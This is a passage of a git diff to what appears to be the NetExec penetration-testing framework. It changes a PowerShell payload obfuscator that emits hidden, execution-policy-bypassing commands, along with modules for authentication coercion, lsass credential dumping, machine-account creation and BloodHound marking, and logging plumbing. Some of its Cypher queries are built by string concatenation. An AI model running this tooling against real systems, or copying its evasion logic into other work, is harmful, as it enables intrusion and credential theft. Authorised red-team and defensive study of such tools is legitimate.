+    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
+    # (https://github.com/GreatSCT/GreatSCT) <3
+
+    """
+    if is_powershell_installed():
+
+        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
+                                           suffix='.ps1',
+                                           dir='/tmp')
+        temp.write(command)
+        temp.read()
+
+        encoding_types = [1,2,3,4,5,6]
+        while True:
+            encoding = random.choice(encoding_types)
+            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
+                                                                                                                                              temp.name,
+                                                                                                                                              encoding)
+            nxc_logger.debug(invoke_obfs_command)
+            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
+
+            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
+            nxc_logger.debug('Command length: {}'.format(len(command)))
+
+            if len(command) <= 8192:
+                temp.close()
+                break
+
+            encoding_types.remove(encoding)
+    
+    else:
+    """
+    if not dont_obfs:
         obfs_attempts = 0
         while True:
-            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
-            obfs_command = invoke_obfuscation(command)
-            
-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
             if len(command) <= 8191:
                 break
+
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
+
             obfs_attempts += 1
     else:
-        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
-        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
-        command = f"powershell.exe -noni -nop -w 1 {command}"
-        
+        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
-            
-    nxc_logger.debug(f"Final command: {command}")
+
     return command
 
 
@@ -309,7 +320,6 @@ def invoke_obfuscation(script_string):
     -------
         str: The obfuscated payload for execution.
     """
-    nxc_logger.debug(f"Command before obfuscation: {script_string}")
     random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
     random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
@@ -426,7 +436,5 @@ def invoke_obfuscation(script_string):
         choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    obfuscated_script = choice(invoke_options)
-    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
-    return obfuscated_script
+    return choice(invoke_options)
 

nxc/loaders/moduleloader.py

@@ -95,7 +95,7 @@ class ModuleLoader:
             module_spec = spec.loader.load_module().NXCModule
 
             module = {
-                f"{module_spec.name}": {
+                f"{module_spec.name.lower()}": {
                     "path": module_path,
                     "description": module_spec.description,
                     "options": module_spec.options.__doc__,

nxc/logger.py

@@ -9,74 +9,6 @@ from termcolor import colored
 from datetime import datetime
 from rich.text import Text
 from rich.logging import RichHandler
-import functools
-import inspect
-import argparse
-
-
-def parse_debug_args():
-    debug_parser = argparse.ArgumentParser(add_help=False)
-    debug_parser.add_argument("--debug", action="store_true")
-    debug_parser.add_argument("--verbose", action="store_true")
-    args, _ = debug_parser.parse_known_args()
-    return args
-
-def setup_debug_logging():
-    debug_args = parse_debug_args()
-    root_logger = logging.getLogger("root")
-    
-    if debug_args.verbose:
-        nxc_logger.logger.setLevel(logging.INFO)
-        root_logger.setLevel(logging.INFO)
-    elif debug_args.debug:
-        nxc_logger.logger.setLevel(logging.DEBUG)
-        root_logger.setLevel(logging.INFO)
-    else:
-        nxc_logger.logger.setLevel(logging.ERROR)
-        root_logger.setLevel(logging.ERROR)
-        
-
-def create_temp_logger(caller_frame, formatted_text, args, kwargs):
-    """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
-    temp_logger = logging.getLogger("temp")
-    formatter = logging.Formatter("%(message)s", datefmt="[%X]")
-    handler = SmartDebugRichHandler(formatter=formatter)
-    handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
-
-
-class SmartDebugRichHandler(RichHandler):
-    """Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
-    def __init__(self, formatter=None, *args, **kwargs):
-        super().__init__(*args, **kwargs)
-        if formatter is not None:
-            self.setFormatter(formatter)
-            
-    def emit(self, record):
-        """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
-        # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
-        record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
-        
-        if hasattr(record, "caller_frame"):
-            frame_info = inspect.getframeinfo(record.caller_frame)
-            record.pathname = frame_info.filename
-            record.lineno = frame_info.lineno
-        super().emit(record)
-
-def no_debug(func):
-    """Stops logging non-debug messages when we are in debug mode
-    It creates a temporary logger and logs the message to the console and file
-    This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
-    """
-    @functools.wraps(func)
-    def wrapper(self, msg, *args, **kwargs):
-        if self.logger.getEffectiveLevel() >= logging.INFO:
-            return func(self, msg, *args, **kwargs)
-        else:            
-            formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
-            caller_frame = inspect.currentframe().f_back
-            create_temp_logger(caller_frame, formatted_text, args, kwargs)
-            self.log_console_to_file(formatted_text, *args, **kwargs)
-    return wrapper
 
 
 class NXCAdapter(logging.LoggerAdapter):
@@ -84,22 +16,21 @@ class NXCAdapter(logging.LoggerAdapter):
         logging.basicConfig(
             format="%(message)s",
             datefmt="[%X]",
-            handlers=[RichHandler(
-                console=nxc_console,
-                rich_tracebacks=True,
-                tracebacks_show_locals=False
-            )],
+            handlers=[
+                RichHandler(
+                    console=nxc_console,
+                    rich_tracebacks=True,
+                    tracebacks_show_locals=False,
+                )
+            ],
         )
         self.logger = logging.getLogger("nxc")
         self.extra = extra
         self.output_file = None
-        
-        logging.getLogger("impacket").disabled = True
+
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
-        logging.getLogger("dploot").disabled = True
-        logging.getLogger("neo4j").setLevel(logging.ERROR)
 
     def format(self, msg, *args, **kwargs):  # noqa: A003
         """Format msg for output
@@ -109,23 +40,31 @@ class NXCAdapter(logging.LoggerAdapter):
         if self.extra is None:
             return f"{msg}", kwargs
 
-        if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
+        if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
             self.extra["module_name"] = self.extra["module_name"][:8] + "..."
 
         # If the logger is being called when hooking the 'options' module function
         if len(self.extra) == 1 and ("module_name" in self.extra):
-            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
+            return (
+                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
+                kwargs,
+            )
 
         # If the logger is being called from nxcServer
         if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
-            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
+            return (
+                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
+                kwargs,
+            )
 
         # If the logger is being called from a protocol
         module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
 
-        return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
+        return (
+            f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
+            kwargs,
+        )
 
-    @no_debug
     def display(self, msg, *args, **kwargs):
         """Display text to console, formatted for nxc"""
         msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
@@ -133,15 +72,13 @@ class NXCAdapter(logging.LoggerAdapter):
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    @no_debug
     def success(self, msg, color="green", *args, **kwargs):
-        """Prints some sort of success to the user"""
+        """Print some sort of success to the user"""
         msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    @no_debug
     def highlight(self, msg, *args, **kwargs):
         """Prints a completely yellow highlighted message to the user"""
         msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
@@ -149,7 +86,6 @@ class NXCAdapter(logging.LoggerAdapter):
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    @no_debug
     def fail(self, msg, color="red", *args, **kwargs):
         """Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
         msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
@@ -163,12 +99,26 @@ class NXCAdapter(logging.LoggerAdapter):
         If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
         so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
         """
-        if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers):  # will be 0 if it's just the console output, so only do this if we actually have file loggers
-            try:
-                for handler in self.logger.handlers:
-                    handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
-            except Exception as e:
-                self.logger.fail(f"Issue while trying to custom print handler: {e}")
+        if self.logger.getEffectiveLevel() >= logging.INFO:
+            # will be 0 if it's just the console output, so only do this if we actually have file loggers
+            if len(self.logger.handlers):
+                try:
+                    for handler in self.logger.handlers:
+                        handler.handle(
+                            LogRecord(
+                                "nxc",
+                                20,
+                                "",
+                                kwargs,
+                                msg=text,
+                                args=args,
+                                exc_info=None,
+                            )
+                        )
+                except Exception as e:
+                    self.logger.fail(f"Issue while trying to custom print handler: {e}")
+        else:
+            self.logger.info(text)
 
     def add_file_log(self, log_file=None):
         file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
@@ -202,7 +152,7 @@ class NXCAdapter(logging.LoggerAdapter):
             datetime.now().strftime("%Y-%m-%d"),
             f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
         )
-    
+
 
 class TermEscapeCodeFormatter(logging.Formatter):
     """A class to strip the escape codes for logging to files"""

nxc/modules/MAQ.py

@@ -14,7 +14,7 @@ class NXCModule:
     def options(self, context, module_options):
         pass
 
-    name = "maq"
+    name = "MAQ"
     description = "Retrieves the MachineAccountQuota domain-level attribute"
     supported_protocols = ["ldap"]
     opsec_safe = True

nxc/modules/adcs.py

@@ -27,6 +27,7 @@ class NXCModule:
         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
         BASE_DN            The base domain name for the LDAP query
         """
+        self.context = context
         self.regex = re.compile("(https?://.+)")
 
         self.server = None
@@ -38,7 +39,6 @@ class NXCModule:
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
-        self.context = context
         if self.server is None:
             search_filter = "(objectClass=pKIEnrollmentService)"
         else:

nxc/modules/add-computer.py

@@ -1,8 +1,8 @@
 import ssl
 import ldap3
-import sys
 from impacket.dcerpc.v5 import samr, epm, transport
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+import sys
+
 
 class NXCModule:
     """
@@ -41,7 +41,6 @@ class NXCModule:
 
         if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
             context.log.error("NAME  and PASSWORD options are required!")
-            sys.exit(1)
         elif "CHANGEPW" in module_options:
             self.__noAdd = True
 
@@ -62,10 +61,11 @@ class NXCModule:
     def on_login(self, context, connection):
         self.__domain = connection.domain
         self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.kdcHost
+        self.__kdcHost = connection.hostname + "." + connection.domain
+        self.__target = self.__kdcHost
         self.__username = connection.username
         self.__password = connection.password
-        self.__host = connection.host
+        self.__targetIp = connection.host
         self.__port = context.smb_server_port
         self.__aesKey = context.aesKey
         self.__hashes = context.hash
@@ -87,7 +87,8 @@ class NXCModule:
         # If SAMR fails now try over LDAPS
         if not self.noLDAPRequired:
             self.do_ldaps_add(connection, context)
-            
+        else:
+            sys.exit(1)
 
     def do_samr_add(self, context):
         """
@@ -101,10 +102,15 @@ class NXCModule:
         -------
             None
         """
-        string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
+        target = self.__targetIp or self.__target
+        string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
 
-        rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
-        rpc_transport.setRemoteHost(self.__host)
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.set_dport(self.__port)
+
+        if self.__targetIp is not None:
+            rpc_transport.setRemoteHost(self.__targetIp)
+            rpc_transport.setRemoteName(self.__target)
 
         if hasattr(rpc_transport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -113,13 +119,10 @@ class NXCModule:
         rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
 
         dce = rpc_transport.get_dce_rpc()
-        if self.__doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
         dce.connect()
         dce.bind(samr.MSRPC_UUID_SAMR)
 
-        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
+        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
         serv_handle = samr_connect_response["ServerHandle"]
 
         samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
@@ -175,6 +178,7 @@ class NXCModule:
                     samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
                     self.noLDAPRequired = True
                     context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
+                    sys.exit(1)
                 except samr.DCERPCSessionError as e:
                     if e.error_code != 0xC0000073:
                         raise

nxc/modules/bh_owned.py

@@ -0,0 +1,87 @@
+# Author:
+#  Romain Bentz (pixis - @hackanddo)
+# Website:
+#  https://beta.hackndo.com [FR]
+#  https://en.hackndo.com [EN]
+
+import sys
+from neo4j import GraphDatabase
+from neo4j.exceptions import AuthError, ServiceUnavailable
+
+
+class NXCModule:
+    name = "bh_owned"
+    description = "Set pwned computer as owned in Bloodhound"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.neo4j_pass = None
+        self.neo4j_user = None
+        self.neo4j_Port = None
+        self.neo4j_URI = None
+
+    def options(self, context, module_options):
+        """
+        URI            URI for Neo4j database (default: 127.0.0.1)
+        PORT           Listening port for Neo4j database (default: 7687)
+        USER           Username for Neo4j database (default: 'neo4j')
+        PASS           Password for Neo4j database (default: 'neo4j')
+        """
+        self.neo4j_URI = "127.0.0.1"
+        self.neo4j_Port = "7687"
+        self.neo4j_user = "neo4j"
+        self.neo4j_pass = "neo4j"
+
+        if module_options and "URI" in module_options:
+            self.neo4j_URI = module_options["URI"]
+        if module_options and "PORT" in module_options:
+            self.neo4j_Port = module_options["PORT"]
+        if module_options and "USER" in module_options:
+            self.neo4j_user = module_options["USER"]
+        if module_options and "PASS" in module_options:
+            self.neo4j_pass = module_options["PASS"]
+
+    def on_admin_login(self, context, connection):
+        domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
+
+        host_fqdn = f"{connection.hostname}.{domain}".upper()
+        uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
+        context.log.debug(f"Neo4j URI: {uri}")
+        context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
+
+        try:
+            driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
+        except AuthError:
+            context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
+            sys.exit()
+        except ServiceUnavailable:
+            context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
+            sys.exit()
+        except Exception as e:
+            context.log.fail("Unexpected error with Neo4J")
+            context.log.debug(f"Error {e}: ")
+            sys.exit()
+
+        with driver.session() as session:
+            try:
+                with session.begin_transaction() as tx:
+                    result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
+                    record = result.single()
+                    try:
+                        value = record.value()
+                    except AttributeError:
+                        value = []
+            except ServiceUnavailable as e:
+                context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
+                context.log.debug(f"Error {e}: ")
+                driver.close()
+                sys.exit()
+        if len(value) > 0:
+            context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
+        else:
+            context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
+        driver.close()

nxc/modules/daclread.py

@@ -221,6 +221,8 @@ class NXCModule:
 
         Based on the work of @_nwodtuhs and @BlWasp_.
         """
+        self.context = context
+
         context.log.debug(f"module_options: {module_options}")
 
         if not module_options:
@@ -271,7 +273,6 @@ class NXCModule:
         self.filename = None
 
     def on_login(self, context, connection):
-        self.context = context
         """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
         context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
         self.baseDN = connection.ldapConnection._baseDN

nxc/modules/dfscoerce.py

@@ -2,7 +2,7 @@ from impacket import system_errors
 from impacket.dcerpc.v5 import transport
 from impacket.dcerpc.v5.ndr import NDRCALL
 from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
-from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.uuid import uuidtup_to_bin
 from nxc.logger import nxc_logger
 
@@ -33,9 +33,9 @@ class NXCModule:
             domain=connection.domain,
             lmhash=connection.lmhash,
             nthash=connection.nthash,
-            target=connection.host,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
             doKerberos=connection.kerberos,
-            kdcHost=connection.kdcHost,
+            dcHost=connection.kdcHost,
             aesKey=connection.aesKey,
         )
 
@@ -95,9 +95,8 @@ class NetrDfsAddRootResponse(NDRCALL):
 
 
 class TriggerAuth:
-    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
         rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
-        rpctransport.setRemoteHost(target)
         if hasattr(rpctransport, "set_credentials"):
             rpctransport.set_credentials(
                 username=username,
@@ -109,12 +108,11 @@ class TriggerAuth:
             )
 
         if doKerberos:
-            rpctransport.set_kerberos(doKerberos, kdcHost)
+            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
+        # if target:
 
+        rpctransport.setRemoteHost(target)
         dce = rpctransport.get_dce_rpc()
-        if doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
         nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
         try:
             dce.connect()
@@ -136,7 +134,8 @@ class TriggerAuth:
             request["ServerName"] = f"{listener}\x00"
             request["RootShare"] = "test\x00"
             request["ApiFlags"] = 1
-            nxc_logger.debug(request.dump())
+            if self.args.verbose:
+                nxc_logger.debug(request.dump())
             dce.request(request)
 
         except Exception as e:

nxc/modules/enum_av.py

@@ -5,7 +5,6 @@
 
 from impacket.dcerpc.v5 import lsat, lsad, transport
 from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 import pathlib
 
 
@@ -51,8 +50,7 @@ class NXCModule:
                 password=connection.password,
                 remote_name=target,
                 do_kerberos=connection.kerberos,
-                remoteHost=connection.host,
-                kdcHost=connection.kdcHost,
+                kdcHost=connection.domain,
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey
@@ -66,7 +64,7 @@ class NXCModule:
                         lsa.LsarLookupNames(dce, policyHandle, service["name"])
                         context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
                         results.setdefault(product["name"], {"services": []})["services"].append(service)
-                    except Exception:
+                    except Exception as e:
                         pass
         except Exception as e:
             context.log.fail(str(e))
@@ -85,7 +83,7 @@ class NXCModule:
                             prod_results.setdefault("pipes", []).append(pipe)
         except Exception as e:
             if "STATUS_ACCESS_DENIED" in str(e):
-                context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
+                context.log.fail(f"Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
             else:
                 context.log.fail(str(e))
 
@@ -122,7 +120,6 @@ class LsaLookupNames:
         password="",
         remote_name="",
         do_kerberos=False,
-        remoteHost="",
         kdcHost="",
         lmhash="",
         nthash="",
@@ -137,8 +134,7 @@ class LsaLookupNames:
         self.lmhash = lmhash
         self.nthash = nthash
         self.aesKey = aesKey
-        self.kdcHost = kdcHost
-        self.remoteHost = remoteHost
+        self.dcHost = kdcHost
 
     def connect(self, string_binding=None, iface_uuid=None):
         """Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -151,7 +147,6 @@ class LsaLookupNames:
             raise NotImplementedError("String binding must be defined")
 
         rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.setRemoteHost(self.remoteHost)
 
         # Set timeout if defined
         if self.timeout:
@@ -163,13 +158,14 @@ class LsaLookupNames:
             rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
 
         if self.doKerberos:
-            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
+            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
 
         # Gets the DCE RPC object
         dce = rpc_transport.get_dce_rpc()
 
-        if self.doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        # Set the authentication level
+        if self.authn_level:
+            dce.set_auth_level(self.authn_level)
 
         # Connect
         dce.connect()

nxc/modules/enum_ca.py

@@ -3,7 +3,6 @@ from impacket.http import AUTH_NTLM
 from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
     RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
     RPC_PROXY_RPC_OUT_DATA_404_ERR
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 from impacket import uuid
 import requests
 
@@ -66,10 +65,10 @@ class NXCModule:
             rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
             rpctransport.set_auth_type(AUTH_NTLM)
         else:
-            rpctransport.setRemoteHost(connection.host)
+            pass
 
         try:
-            entries = self.__fetchList(connection.kerberos, rpctransport)
+            entries = self.__fetchList(rpctransport)
         except Exception as e:
             error_text = f"Protocol failed: {e}"
             context.log.fail(error_text)
@@ -99,10 +98,8 @@ class NXCModule:
                         context.log.debug(e)
                     return
 
-    def __fetchList(self, doKerberos, rpctransport):
+    def __fetchList(self, rpctransport):
         dce = rpctransport.get_dce_rpc()
-        if doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
         dce.connect()
         resp = epm.hept_lookup(None, dce=dce)
         dce.disconnect()

nxc/modules/example_module.py

@@ -12,9 +12,9 @@ class NXCModule:
     opsec_safe = True  # Does the module touch disk?
     multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
 
-    def __init__(self):
-        self.context = None
-        self.module_options = None
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
 
     def options(self, context, module_options):
         """Required.

nxc/modules/get-desc-users.py

@@ -31,7 +31,7 @@ class NXCModule:
             self.MINLENGTH = module_options["MINLENGTH"]
         if "PASSWORDPOLICY" in module_options:
             self.PASSWORDPOLICY = True
-            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
+            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -102,11 +102,6 @@ class NXCModule:
                     if self.regex.search(description):
                         conditionPasswordPolicy = True
 
-                if conditionFilter and not self.PASSWORDPOLICY:
-                    context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
-                elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
+                if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
                     answersFiltered.append([answer[0], description])
-                elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
-                    context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
-                    
         return answersFiltered

nxc/modules/hash_spider.py

@@ -70,7 +70,11 @@ def create_db(local_admins, dbconnection, cursor):
 
 
 def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
-    domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
+    if connection.args.local_auth:
+        context.log.extra["host"] = connection.conn.getServerDNSDomainName()
+    else:
+        context.log.extra["host"] = connection.domain
+    context.log.extra["hostname"] = connection.host.upper()
     for result in credentials_data:
         username = result["username"].upper().split("@")[0]
         nthash = result["nthash"]
@@ -81,7 +85,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
                 [password],
             )
-            username = f"{username.upper()}@{domain.upper()}"
+            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
             dbconnection.commit()
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -95,7 +99,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 [nthash],
             )
             dbconnection.commit()
-            username = f"{username.upper()}@{domain.upper()}"
+            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -142,7 +146,7 @@ class NXCModule:
 
     @staticmethod
     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
-        host_id = context.db.get_hosts(connection.host)[0][0]
+        host_id = context.db.get_computers(connection.host)[0][0]
         if password is not None:
             credential_type = "plaintext"
         else:
@@ -198,7 +202,7 @@ class NXCModule:
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(host, file).parse()
+        credentials, tickets, masterkeys = Parser(file).parse()
         file.close()
         ImpacketFile.delete(session, file.get_file_path())
         if credentials is None:

nxc/modules/ioxidresolver.py

@@ -23,7 +23,6 @@ class NXCModule:
 
         stringBinding = r"ncacn_ip_tcp:%s" % connection.host
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
-        rpctransport.setRemoteHost(connection.host)
 
         portmap = rpctransport.get_dce_rpc()
         portmap.set_auth_level(authLevel)

nxc/modules/ldap-checker.py

@@ -39,15 +39,10 @@ class NXCModule:
         async def run_ldaps_noEPA(target, credential):
             ldapsClientConn = MSLDAPClientConnection(target, credential)
             _, err = await ldapsClientConn.connect()
-            
-            # Required step to try to bind without channel binding
-            ldapsClientConn.cb_data = None
-
             if err is not None:
                 context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
                 sys.exit()
-
-            valid, err = await ldapsClientConn.bind()
+            _, err = await ldapsClientConn.bind()
             if "data 80090346" in str(err):
